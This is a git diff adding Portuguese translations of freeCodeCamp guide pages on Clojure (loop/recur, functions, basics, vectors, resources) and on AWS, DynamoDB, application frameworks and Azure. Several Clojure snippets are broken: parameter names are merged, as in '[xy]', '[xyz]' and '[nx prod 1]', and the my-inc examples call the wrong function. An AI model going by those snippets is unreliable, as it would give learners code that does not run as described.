+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/3iP3tI)
+
+Você notará que `(loop [nx prod 1] ...)` é bastante semelhante a um `let` binding. Na verdade, funciona da mesma maneira - aqui, ligamos `n` para `x` e `prod` para 1.
+
+Cada função recursiva tem um "caso base". Esta é a condição que faz com que o loop pare de fazer loop. Nesse caso, nosso loop pára se `n = 1` e retorna `prod` . Se `n` não for igual a 1, o loop se repetirá.
+```
+(recur (dec n) (* prod n)) 
+```
+
+Essa função `recur` reinicia o loop, mas com ligações diferentes. Desta vez, `n` não está ligado a `x` , mas está ligado a `(dec n)` (o que significa `decrement n` ou `n - 1` ), e `prod` está ligado a `(* prod n)` .
+
+Então, quando chamamos a função, isso é o que acontece:
+```
+(fact 5) 
+ ; Loop 1: 5 != 1, so the loop recurs with 4 (5 - 1) and 5 (1 * 5). 
+ ; Loop 2: 4 != 1, so the loop recurs with 3 (4 - 1) and 20 (5 * 4). 
+ ; Loop 3: 3 != 1, so the loop recurs with 2 (3 - 1) and 60 (20 * 3). 
+ ; Loop 4: 2 != 1, so the loop recurs with 1 (2 - 1) and 120 (60 * 2). 
+ ; Loop 5: 1 == 1, so the function returns prod, which is now equal to 120. 
+ ; => 120 
+```
+
+A coisa engenhosa sobre a recursão é que as variáveis ​​em si nunca são alteradas. A única coisa que muda é o que `n` e `prod` _referem_ . Nós nunca dizemos, `n--` ou `n += 2` .
+
+## Por que usar loop / recorrer?
+
+Você pode estar se perguntando por que você usaria `loop/recur` vez de simplesmente definir uma função que chama a si mesma. Nossa função fatorial poderia ter sido escrita assim:
+```
+(defn fact-no-loop [n] 
+  (if (= 1 n) 
+    1 
+    (* n (fact-no-loop (dec n))))) 
+```
+
+Isso é mais conciso e funciona de maneira semelhante. Por que você _nunca_ usar loop e se repetem?
+
+### Otimização de Chamadas
+
+Se você usar `loop/recur` , o compilador (o software que transforma o código Clojure em bytecode da JVM) sabe que você deseja criar um loop recursivo. Isso significa que ele tenta o máximo para otimizar seu código para recursão. Vamos comparar a velocidade do `fact` e o `fact-no-loop` :
+```
+(time (fact 20)) 
+ ; => "Elapsed time: 0.083927 msecs" 
+ ;    2432902008176640000 
+ (time (fact-no-loop 20)) 
+ ; => "Elapsed time: 0.064937 msecs" 
+ ;    2432902008176640000 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/tpC0Xo)
+
+Nesta escala, a diferença é insignificante. Na verdade, o `fact-no-loop` é ocasionalmente mais rápido que o `fact` devido à natureza imprevisível da memória do computador. No entanto, em uma escala maior, esse tipo de otimização pode tornar seu código muito mais rápido.
+
+### Recursão de aninhamento dentro de funções
+
+`fact-no-loop` funciona sem `loop/recur` porque a função inteira é recursiva. E se quiséssemos que parte de nossa função usasse um loop recursivo e depois o resto fizesse algo não recursivo? Teríamos que definir duas funções totalmente separadas. Usando o `loop/recur` nos permite usar uma função pouco anônima.
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") Anterior](//forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") Casa ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:")](//forum.freecodecamp.com/t/clojure-resources/18422) | Próximo ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:") |  
+| [Vamos Bindings](//forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415) | [Índice](//forum.freecodecamp.com/t/clojure-resources/18422) | Ser adicionado |
\ No newline at end of file
diff --git a/client/src/guide/portuguese/clojure/more-on-functions/index.md b/client/src/guide/portuguese/clojure/more-on-functions/index.md
new file mode 100644
index 0000000000..bd2c5a43ce
--- /dev/null
+++ b/client/src/guide/portuguese/clojure/more-on-functions/index.md
@@ -0,0 +1,79 @@
+---
+title: Clojure More on Functions
+localeTitle: Clojure Mais sobre Funções
+---
+Funções! Eles são muito importantes. É muito difícil fazer qualquer coisa sem uma função. Eles são essenciais para qualquer idioma, mas especialmente para o Clojure, já que é uma linguagem de programação funcional que rejeita o design orientado a objetos. Vamos aprender mais sobre eles!
+
+## Aridade
+
+**Arity** refere-se ao número de argumentos que sua função espera.
+```
+;; add expects 2 arguments. Its arity is 2. 
+ (defn add [xy] (+ xy)) 
+ (add 2 2) 
+ ; => 4 
+ 
+ ;; + itself is a function, and it can have any number of arguments. 
+ (+ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16) ;; and so on... 
+ ; => 136 
+```
+
+Clojure tem alguma sintaxe especial que permite que você deixe sua função fazer coisas diferentes dependendo do número de argumentos que recebe. Isso é chamado de aridade variável.
+```
+(defn foo 
+  ([]                               ; if this function gets no arguments... 
+    (println "Lisa needs braces!")) ; do this. 
+  ([arg1]                           ; if this function gets 1 argument... 
+    (println "Dental plan!")))      ; do this instead! 
+ (foo) 
+ ; => Lisa needs braces! 
+ ;    nil 
+ (foo "this is a placeholder argument.") 
+ ; => Dental plan! 
+ ;    nil 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/sXGplb)
+
+## Funções anônimas
+
+Vamos ver uma função bem simples: uma função que adiciona 1 a um número.
+```
+;; I've called this function "my-inc" so you don't confuse it with inc. 
+ ;; inc is a built-in function that already does this for us. 
+ (defn my-inc [n] (+ 1 n)) 
+ (inc' 5) 
+ ; => 6 
+```
+
+Isso parece bem simples. Leva um único parâmetro - `n` - e retorna `n + 1` . Vamos separá-lo.
+```
+(def my-inc-2 (fn [n] (+ 1 n))) 
+ (inc' 5) 
+ ; => 6 
+```
+
+Você pode ver a partir disso que usar `defn` é apenas uma forma abreviada de usar `(def ... (fn ...))` . Mas isso revela algo interessante. O que estamos realmente fazendo não é 'definir uma função', apenas vincular uma função anônima a um nome especial - `inc'` . E se não dermos um nome?
+```
+((fn [n] (+ 1 n)) 5) 
+ ; => 6 
+```
+
+Bam! Estrondo! Kapow! Funções anônimas. Isso pode parecer inútil agora, mas é muito útil mais tarde para aplicar funções a listas usando `map` , `reduce` e `filter` . Dando todas as funções que você escreve, um nome fica chato e pesado, rápido.
+
+Há uma maneira mais curta de escrever funções anônimas, destinadas a funções muito curtas e simples. Não permite desestruturação ou aridade variável. No entanto, é bastante conciso.
+```
+(#(+ 1 %) 5) 
+ ; => 6 
+```
+
+`#(...)` é uma forma abreviada de definir uma função anônima. `%` refere-se ao primeiro argumento da função. Se sua função espera vários argumentos, você pode usar `%1, %2, ... %n` .
+```
+(#(str %1 %2 %3) "foo" "bar" "baz") 
+ ; => "foobarbaz" 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/roYRgS)
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") Anterior](//forum.freecodecamp.com/t/clojure-loop-recur/18418) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") Casa ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:")](//forum.freecodecamp.com/t/clojure-resources/18422) | [Próximo ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](//forum.freecodecamp.com/t/clojure-collections/18411) |  
+| [Loop e Recorrente](//forum.freecodecamp.com/t/clojure-loop-recur/18418) | [Índice](//forum.freecodecamp.com/t/clojure-resources/18422) | [Coleções](/http://forum.freecodecamp.com/t/clojure-collections/18411) |
\ No newline at end of file
diff --git a/client/src/guide/portuguese/clojure/resources/index.md b/client/src/guide/portuguese/clojure/resources/index.md
new file mode 100644
index 0000000000..abd739ce1e
--- /dev/null
+++ b/client/src/guide/portuguese/clojure/resources/index.md
@@ -0,0 +1,19 @@
+---
+title: Clojure Resources
+localeTitle: Recursos de Clojure
+---
+![Logo Clojure](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3f3afa51f5d2c790faed68bfdd695d9f280e4480.png)
+
+[Clojure](https://clojure.org/) é um dialeto de Lisp com foco em programação funcional. Foi lançado em 2007 por Rich Hickey, e desde então ganhou muita popularidade entre os desenvolvedores da web.
+
+Para aprender sobre algumas das principais funções da linguagem, você pode consultar a [documentação](https://clojuredocs.org/) .
+
+Você também pode consultar qualquer um desses artigos:
+
+*   [Resumo - Por que usar o Clojure?](http://forum.freecodecamp.com/t/what-is-clojure/18419)
+*   [Básico - Definindo algumas variáveis ​​e funções](http://forum.freecodecamp.com/t/clojure-the-basics/18410)
+*   [Condicionais - Usando lógica para adicionar fluxo de controle complexo aos seus programas](http://forum.freecodecamp.com/t/clojure-conditionals/18412)
+*   [Permitir ligações - usando variáveis ​​locais](http://forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415)
+*   [Loop and Recur - Usando recursão para criar loops no Clojure](http://forum.freecodecamp.com/t/clojure-loop-recur/18418)
+
+Para uma breve e simples experiência de aprendizado, o livro on-line gratuito [Clojure for the Brave and True](https://www.braveclojure.com/foreword/) pode ser usado.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/clojure/the-basics/index.md b/client/src/guide/portuguese/clojure/the-basics/index.md
new file mode 100644
index 0000000000..f8ad22f70f
--- /dev/null
+++ b/client/src/guide/portuguese/clojure/the-basics/index.md
@@ -0,0 +1,93 @@
+---
+title: Clojure the Basics
+localeTitle: Clojure, o básico
+---
+### Começando
+
+Antes de começar, você pode querer [instalar o Clojure](http://clojure.org/guides/getting_started) e o [Leiningen](http://leiningen.org/#install) (que é uma ferramenta para gerenciar projetos no Clojure). Isso permitirá executar o Clojure na linha de comando usando um REPL (Read-Evaluate-Print-Loop).
+
+## Definindo Variáveis
+
+O pão e a manteiga de qualquer linguagem de programação são variáveis ​​e funções. Vamos definir uma variável!
+```
+(def our-string "Hello world!") 
+```
+
+Mole-mole. Esse pedaço de código usa a macro `def` para associar uma string ( `"Hello world!"` ) A um símbolo ( `our-string` ). Poderíamos também ter definido um número, como `1` ou `1.1` , um caractere, como `\a` ou `\Z` , ou algo mais complicado, como uma lista ou uma expressão regular ( _uuuugh_ ).
+
+Note que nosso código está dentro de parênteses, como uma lista, porque tudo em um Lisp é uma lista! (Isso será muito importante quando começarmos a falar sobre macros.)
+
+## Definindo Funções
+
+Agora vamos definir uma função!
+```
+(defn hello-world [] (println our-string)) 
+```
+
+Isso é um pouco mais complexo. Como `def` , ele usa uma macro ( `defn` ) para criar uma variável - embora, dessa vez, essa variável seja uma função. O vetor vazio (um vetor é um tipo de lista - pense nisso como um array) depois do `hello-world` define os argumentos para essa função - nesse caso, não temos nenhum. O código depois disso é o que a função faz. Ele avalia `our-string` , que é igual a `"Hello world!"` e imprime no console. Vamos correr!
+```
+(hello-world) 
+ ; => Hello world! 
+ ;    nil 
+```
+
+Você também pode escrever isto:
+```
+(def hello-world (fn [] (println our-string))) 
+```
+
+`defn` é apenas um atalho para ajudar a manter seu código conciso. `(defn ...)` e `(def ... (fn ...))` são os mesmos na prática.
+
+## Parâmetros
+
+Bem, isso foi legal, mas não foi muito emocionante. Vamos tentar uma função com parâmetros. Que tal um que adiciona 3 números?
+```
+(defn add [xyz] (+ xyz)) 
+ (add 1 2 3) 
+ ; => 6 
+```
+
+…Aguente. `(+ xyz)` Isso parece engraçado. Bem, Lisps são escritos usando "notação de prefixo", o que significa que a função sempre vem em primeiro lugar. Como todos os operadores matemáticos em Lisp ( `+ - * /` ) são apenas funções, eles também vêm antes de seus argumentos (neste caso, `xyz` ).
+
+Você notará que o nosso vetor tem algumas coisas agora: `[xyz]` ! Sempre que uma função tiver parâmetros, você os define nesse vetor ao lado do nome da função.
+
+### Destruturação
+
+Um ótimo recurso sobre argumentos no Clojure é a desestruturação. Ele permite que você "puxe" elementos de uma lista.
+```
+(defn add [[xy] z] (+ xyz)) 
+ (add [1 2] 3) 
+ ; => 6 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/SWlvKn)
+
+Os argumentos para essa função são uma coleção ( `[xy]` ) e um número ( `z` ). Podemos usar a desestruturação para extrair o primeiro e segundo elementos da lista e chamá-los de `x` e `y` .
+
+### Funções com qualquer número de parâmetros
+
+Você também pode definir uma função com um número arbitrário de argumentos usando `&` .
+```
+(defn demonstrate-rest [first & rest] 
+  (println first) 
+  (println rest)) 
+ (demonstrate-rest 1 "foo" ["bar" 22]) 
+ ; => 1 
+ ;    ("foo" ["bar" 22]) 
+ ;    nil 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/VftymP)
+
+Como você pode ver, usando `&` separamos os argumentos da nossa função em uma variável chamada `first` e uma lista de variáveis ​​chamada `rest` . Isso significa que nossa função pode ter vários argumentos!
+
+## Retornando
+
+Você pode ter notado algumas coisas estranhas. Sempre que usamos `println` , parece que `nil` está aparecendo em nossa saída. Além disso, nossa função `add` retorna `6` , mas nunca dissemos para retornar nada.
+
+No Clojure, os retornos são 'implícitos'. Se você já usou Ruby, provavelmente está familiarizado com esse conceito. Em vez de dizer à nossa função para retornar algo, ela avalia todo o código dentro de seu corpo e retorna o resultado. Nossa função `add` , por exemplo, avalia `(+ xyz)` e, em seguida, retorna esse resultado.
+
+A razão pela qual nossas funções que usam `println` output `nil` é porque `println` avaliado como `nil` . ( `nil` é como `null` ou `None` - não representa nada.)
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") Anterior](//forum.freecodecamp.com/t/what-is-clojure/18419) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") Casa ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:")](//forum.freecodecamp.com/t/clojure-resources/18422) | [Próximo ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](//forum.freecodecamp.com/t/clojure-conditionals/18412) |  
+| [Resumo](//forum.freecodecamp.com/t/what-is-clojure/18419) | [Índice](//forum.freecodecamp.com/t/clojure-resources/18422) | [Condicionais](//forum.freecodecamp.com/t/clojure-conditionals/18412) |
\ No newline at end of file
diff --git a/client/src/guide/portuguese/clojure/vectors/index.md b/client/src/guide/portuguese/clojure/vectors/index.md
new file mode 100644
index 0000000000..a285c1cebe
--- /dev/null
+++ b/client/src/guide/portuguese/clojure/vectors/index.md
@@ -0,0 +1,71 @@
+---
+title: Clojure   Vectors
+localeTitle: Vetores de Clojure
+---
+Um vetor é talvez o tipo mais simples de coleção no Clojure. Você pode pensar nisso como uma matriz em JavaScript. Vamos definir um vetor simples:
+```
+(def a-vector [1 2 3 4 5]) 
+ ;; Alternatively, use the vector function: 
+ (def another-vector (vector 1 2 3 4 5)) 
+ ;; You can use commas to separate items, since Clojure treats them as whitespace. 
+ (def comma-vector [1, 2, 3, 4, 5]) 
+```
+
+Você verá que ele usa colchetes, assim como uma matriz em JS. Como o Clojure, como o JS, é digitado dinamicamente, os vetores podem conter elementos de qualquer tipo, incluindo outros vetores.
+```
+(def mixed-type-vector [1 "foo" :bar ["spam" 22] #"^baz$"]) 
+```
+
+## Adicionando itens a um vetor
+
+Você pode acrescentar itens a um vetor usando `conj` . Você também pode preceder a uma lista usando `into` , mas note que `into` destina-se a fusão de dois vetores, para que ambos os seus argumentos devem ser vetores, e usando `into` é mais lento do que usar `conj` .
+```
+(time (conj [1 2] 3)) 
+ ; => "Elapsed time: 0.032206 msecs" 
+ ;    [1 2 3] 
+ (time (into [1] [2 3])) 
+ ; => "Elapsed time: 0.078499 msecs" 
+ ;    [1 2 3] 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/wBSUEd)
+
+## Recuperando itens de um vetor
+
+Você pode recuperar itens de um vetor usando `get` . Isso é equivalente a usar a notação de colchetes para acessar itens em uma matriz em muitas linguagens imperativas. Itens em um vetor são indexados em 0, contados a partir da esquerda.
+```
+var arr = [1, 2, 3, 4, 5]; 
+ arr[0]; 
+ // => 1 
+```
+
+No Clojure, isso seria escrito da seguinte forma:
+```
+(def a-vector [1 2 3 4 5]) 
+ (get a-vector 0) 
+ ; => 1 
+```
+
+Você também pode dar `get` um valor padrão, se você dar-lhe um índice que não está na matriz.
+```
+;; the list doesn't have 2147483647 elements, so it'll return a string instead. 
+ (get a-vector 2147483646 "sorry, not found!") 
+ ; => "sorry, not found!" 
+```
+
+## Convertendo outras coleções em vetores
+
+Estruturas de dados não vetoriais podem ser convertidas em vetores usando a função `vec` . Com hashmaps, isso produz um vetor 2D contendo pares de chaves e valores.
+```
+(vec '(1 2 3 4 5)) 
+ ; => [1 2 3 4 5] 
+ (vec {:jack "black" :barry "white"}) 
+ ; => [[:jack "black"] [:barry "white"]] 
+```
+
+## Quando usar um vetor?
+
+Um vetor deve ser usado em quase todos os casos, se você precisar de uma coleção, porque eles têm os menores tempos de acesso aleatório, o que facilita a recuperação de itens de um vetor. Note que os vetores são ordenados. Se a ordem não importa, pode ser melhor usar um conjunto. Observe também que os vetores são projetados para anexar itens; Se você precisar inserir os itens, talvez queira usar uma lista.
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") Anterior](//forum.freecodecamp.com/t/clojure-lists-they-are-everything/18417) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") Casa ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:")](//forum.freecodecamp.com/t/clojure-resources/18422) | [Próximo ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](//forum.freecodecamp.com/t/clojure-hashmaps/18414) |  
+| [Listas](//forum.freecodecamp.com/t/clojure-lists-they-are-everything/18417) | [Índice](//forum.freecodecamp.com/t/clojure-resources/18422) | [Hashmaps](//forum.freecodecamp.com/t/clojure-hashmaps/18414) |
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cloud-development/amazon-aws/dynamodb/index.md b/client/src/guide/portuguese/cloud-development/amazon-aws/dynamodb/index.md
new file mode 100644
index 0000000000..d0b5b9adba
--- /dev/null
+++ b/client/src/guide/portuguese/cloud-development/amazon-aws/dynamodb/index.md
@@ -0,0 +1,33 @@
+---
+title: Amazon DynamoDB
+localeTitle: Amazon DynamoDB
+--- ## Amazon DynamoDB
+
+O Amazon DynamoDB é um serviço da Amazon Web Services (AWS) que oferece um banco de dados NoSQL totalmente gerenciado. Sua principal característica é a capacidade de dimensionar infinitamente, dependendo da carga de trabalho necessária. Ele é totalmente gerenciado, e o usuário não precisa se preocupar com a infraestrutura subjacente, como escalar para cima ou para baixo, dependendo da carga de trabalho. Suporta armazenamento baseado em documentos e valor-chave.
+
+Os componentes básicos do serviço DynamoDB são:
+
+*   **Tabela** : O DynamoDB armazena dados em tabelas, que são semelhantes em bancos de dados relacionais. A principal diferença é que é sem esquema, não tem uma estrutura fixa desde o momento de sua criação.
+    
+*   **Item** : Um item é os dados armazenados em uma tabela e uma tabela pode ter um número indefinido de itens. Comparando com um banco de dados relacional, um item seria uma linha na tabela.
+    
+*   **Atributo** : Um item possui atributos, que são como uma coluna em bancos de dados relacionais. No entanto, como o DynamoDB não tem esquema, um item não precisa ter os mesmos atributos. Além disso, os atributos podem ser um único valor ou um documento semelhante a JSON com outros campos que também podem ser consultados.
+    
+
+Embora o DynamoDB não precise de uma estrutura fixa para suas tabelas, ele precisa de uma chave primária para cada item da tabela. A chave primária, como em bancos de dados relacionais, deve ser exclusiva. A chave primária pode ser simples ou composta. Uma chave primária simples é composta apenas por uma chave de partição. A chave primária composta, por sua vez, é composta por uma chave de partição e uma chave de classificação. Em uma chave primária simples, a chave de partição deve ser única, enquanto que em uma chave composta, a chave de partição pode ser igual, mas a chave de classificação deve ser diferente.
+
+O conceito de chave de partição e chave de classificação é muito importante porque se relaciona com a maneira como o DynamoDB armazena dados. O DynamoDB armazena dados em partições e a chave de partição é a chave da partição. O DynamoDB usa o valor na chave de partição como entrada para uma função hash para saber onde ele armazena os dados. No caso de uma chave composta, todos os itens com a mesma chave de partição são armazenados na mesma partição, mas são classificados pela chave de classificação.
+
+O Amazon DynamoDB também tem alta disponibilidade. Ele replica os dados para muitos servidores em diferentes zonas de disponibilidade em uma região. Zonas de disponibilidade são centros de dados fisicamente separados por uma distância segura. No caso de um desastre em um servidor, outros servidores terão os dados replicados a uma distância segura e inalterados.
+
+Devido à sua facilidade de configuração e sua capacidade infinita de dimensionamento, é bom para muitos casos de uso. É mais adequado para cenários em que a carga necessária não é conhecida ou há picos repentinos. Alguns dos casos de uso são como armazenamento de dados para aplicativos sem servidor, microsserviços, back-end móvel, jogos, IoT e muito mais.
+
+### Recursos:
+
+*   [Bancos de dados de valor-chave](https://guide.freecodecamp.org/computer-science/databases/key-value-databases)
+*   [Bancos de dados relacionais](https://guide.freecodecamp.org/computer-science/databases/relational-databases)
+
+### Mais Informações:
+
+*   "O que é o Amazon DynamoDB?" da [documentação](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Introduction.html?shortFooter=true) do [AWS DynamoDB](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Introduction.html?shortFooter=true)
+*   "Componentes principais do DynamoDB" da [documentação](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/HowItWorks.CoreComponents.html?shortFooter=true) do [AWS DynamoDB](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/HowItWorks.CoreComponents.html?shortFooter=true)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cloud-development/amazon-aws/index.md b/client/src/guide/portuguese/cloud-development/amazon-aws/index.md
new file mode 100644
index 0000000000..faa03bdea6
--- /dev/null
+++ b/client/src/guide/portuguese/cloud-development/amazon-aws/index.md
@@ -0,0 +1,49 @@
+---
+title: Amazon Web Services
+localeTitle: Amazon Web Services
+---
+## Amazon Web Services
+
+A Amazon Web Services, ou AWS, é uma subsidiária da Amazon.com que fornece plataformas de computação em nuvem sob demanda para indivíduos, empresas e governos assinatura paga com uma opção de nível gratuito disponível por 12 meses. Ele, juntamente com o Azure da Microsoft e o Google Cloud Platform, são considerados os três principais fornecedores de nuvem pública.
+
+A tecnologia permite que os assinantes tenham à sua disposição um cluster virtual completo de computadores, disponível o tempo todo, através da internet. A versão da AWS os computadores virtuais têm a maioria dos atributos de um computador real, incluindo hardware (CPU (s) e GPU (s) para processamento, memória local / RAM, armazenamento em disco rígido / SSD); uma escolha de sistemas operacionais; networking; e aplicativos pré-carregados, como servidores web, bancos de dados, CRM, etc. Cada sistema AWS também virtualiza seu console de E / S (teclado, monitor e mouse), permitindo que os assinantes da AWS se conectem ao sistema AWS de qualquer lugar do mundo usando um navegador moderno. O navegador funciona como uma janela para o computador virtual, permitindo que os assinantes se conectem, configurem e usem seus sistemas virtuais exatamente como fariam com um computador físico real.
+
+Os assinantes podem optar por implantar seus sistemas da AWS para fornecer serviços baseados na Internet para benefício próprio e de seus clientes. Desde indivíduos ou organizações usar a AWS não possui fisicamente a infraestrutura da AWS, eles não precisam lidar com algumas das tarefas de manutenção associadas à propriedade de um datacenter físico, como operar equipamentos de rede.
+
+A AWS, em particular, também está expandindo suas ofertas de nuvem. Eles estão fornecendo serviços inovadores, como o AWS Lambda, em que os usuários só precisam se concentrar em escrevendo código e não nos servidores que estarão executando o código (dando origem ao novo movimento _sem servidor_ ). Como resultado desses benefícios, a computação em nuvem Plataformas como a AWS têm sido populares entre as startups que inicialmente poderiam ter menos capital para investir em TI ou TI. Em vez disso, eles podem se concentrar na criação de ótimos produtos para seus usuários e no crescimento de seus negócios ao longo do tempo com o modelo on demand da AWS.
+
+Os serviços populares da AWS incluem:
+
+*   Máquinas Virtuais através da plataforma EC2 (Elastic Compute Cloud)
+*   Bancos de dados incluindo SQL e NoSQL
+*   S3 (Simple Storage Service)
+*   SQS (Simple Queue Service)
+*   Desenvolvimento de jogos através do motor de desenvolvimento de jogos Amazon Lumberyard e subseqüente plataforma de hospedagem.
+*   DynamoDB (Amazon Dynamo Data Base)
+*   CloudWatch (métricas e alarmes)
+*   CodeDeploy (Implantações)
+*   Lambda (sem servidor)
+*   Ferramentas de monitoramento de aplicativos
+*   Ferramentas e plataformas de desenvolvimento para dispositivos móveis
+*   Área de desenvolvimento do Amazon Alexa
+
+#### Certificações da AWS
+
+A AWS oferece muitas certificações diferentes para seus profissionais. Existem diferentes camadas para certificados da AWS, bem como certificações baseadas em funções. As camadas são:
+
+*   Fundacional
+*   Associado
+*   Profissional Para cada papel existem aqueles três níveis.
+
+Essas funções incluem:
+
+*   Arquiteto
+*   Desenvolvedor
+*   Operações
+
+A AWS também oferece uma certificação de pré-requisito do AWS Cloud Practitioner Essentials \* relevante para qualquer pessoa, independentemente de sua função. Fora das funções padrão, há certificações especiais para redes avançadas, Big Data e segurança.
+
+#### Mais Informações:
+
+*   [AWS](https://aws.amazon.com/)
+*   [certificações](https://aws.amazon.com/certification/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cloud-development/application-frameworks/index.md b/client/src/guide/portuguese/cloud-development/application-frameworks/index.md
new file mode 100644
index 0000000000..3b7c9bee38
--- /dev/null
+++ b/client/src/guide/portuguese/cloud-development/application-frameworks/index.md
@@ -0,0 +1,23 @@
+---
+title: Application Frameworks
+localeTitle: Frameworks de Aplicação
+---
+## Frameworks de Aplicação
+
+Um Application Framework é um software pronto para uso para execução de aplicativos. Os frameworks de aplicativos lidam com tarefas comuns que a maioria dos aplicativos faz. Os Frameworks de Aplicativos economizam em tempo de desenvolvimento e manutenção, porque vários fornecedores de aplicativos agrupam recursos para uma causa comum. Um Application Framework é mais que uma coleção de seus componentes nomeados. Inclui software exclusivo que integra seus componentes a um paradigma de sistemas que simplifica tarefas comuns, difíceis ou repetitivas usando bibliotecas de código reutilizável. Cada estrutura de aplicativo resolve problemas com um conjunto exclusivo de componentes ou de uma maneira única - fornecendo gerenciamento de recursos, por exemplo.
+
+### Mais Informações:
+
+[Frameworks de Aplicação (Wikipedia.org)](https://en.wikipedia.org/wiki/Application_framework)
+
+[Estruturas de Aplicações Web (Wikipedia.org)](https://en.wikipedia.org/wiki/Web_framework)
+
+[Reutilização de código (Wikipedia.org)](https://en.wikipedia.org/wiki/Code_reuse)
+
+### Recursos
+
+[Lista de Rich Internet Frameworks (Wikipedia.org)](https://en.wikipedia.org/wiki/List_of_rich_Internet_application_frameworks)
+
+[Lista de estruturas de serviços da Web (Wikipedia.org)](https://en.wikipedia.org/wiki/List_of_web_service_frameworks)
+
+[Comparação de Web Frameworks (Wikipedia.org)](https://en.wikipedia.org/wiki/Comparison_of_web_frameworks)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cloud-development/azure/index.md b/client/src/guide/portuguese/cloud-development/azure/index.md
new file mode 100644
index 0000000000..1972997e31
--- /dev/null
+++ b/client/src/guide/portuguese/cloud-development/azure/index.md
@@ -0,0 +1,29 @@
+---
+title: Azure
+localeTitle: Azure
+---
+## Microsoft Azure
+
+O Microsoft Azure é a oferta de nuvem pública da Microsoft que permite que indivíduos e organizações criem, implantem e operem aplicativos baseados em nuvem e serviços de infraestrutura. A plataforma de nuvem pública do Microsoft Azure oferece serviços de IaaS, PaaS e SaaS para organizações em todo o mundo e suporta muitas linguagens de programação, ferramentas e estruturas diferentes, incluindo software e sistemas específicos da Microsoft e de terceiros.
+
+O Microsoft Azure também pode ser usado em conjunto com várias soluções da Microsoft, como o Microsoft System Center, e pode ser usado para estender o datacenter atual de uma organização em uma nuvem híbrida que amplia a capacidade e fornece recursos além do que poderia ser fornecido apenas ponto de vista das instalações.
+
+### Usos para o Microsoft Azure
+
+O Microsoft Azure oferece muitos serviços e ofertas de recursos. Por exemplo, você pode usar os serviços de computação do Azure Virtual Machines para criar uma rede de servidores virtuais para hospedar um aplicativo, banco de dados ou solução personalizada, que seria uma oferta baseada em IaaS.
+
+Outros serviços podem ser categorizados como PaaS porque você pode usá-los sem manter os sistemas operacionais subjacentes. Por exemplo, quando você executa um site no Azure Web Apps ou um banco de dados SQL nos Bancos de Dados SQL do Azure, não é necessário garantir que você esteja usando a versão mais recente dos Serviços de Informações da Internet (IIS) ou SQL e tenha os patches e atualizações mais recentes instalado, pois isso é responsabilidade da plataforma Microsoft Azure.
+
+Exemplo para o serviço SaaS no Microsoft Azure seria o Operations Management Suite, que é configurado e acessado por meio dos serviços do Operational Insights. Aqui, você apenas configura suas ferramentas de gerenciamento e conecta-se aos serviços que deseja gerenciar por meio do Microsoft Azure, portanto, nenhuma infraestrutura local é necessária ou precisa ser gerenciada.
+
+### Ambientes
+
+O Azure fornece uma grande variedade de diferentes tipos de ambiente, incluindo plataformas de sistema operacional como o Windows Server e o Ubuntu Server. Há várias variantes que podem ser escolhidas, como o Ubuntu 14.04 ou o Ubuntu 16.10, com a capacidade de usar esses ambientes por meio do acesso integrado à Web CLI ou SSH do Azure via seu cliente preferencial.
+
+Existem vários níveis de “tamanhos” de máquina para escolher, desde simples máquinas de baixo nível de bar até caixas de rebatidas pesadas multi-GPU e multi-CPU.
+
+#### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Microsoft_Azure)
+*   [Microsoft Azure](https://azure.microsoft.com/en-us/)
+*   [Microsoft Learn](https://docs.microsoft.com/en-us/learn/)
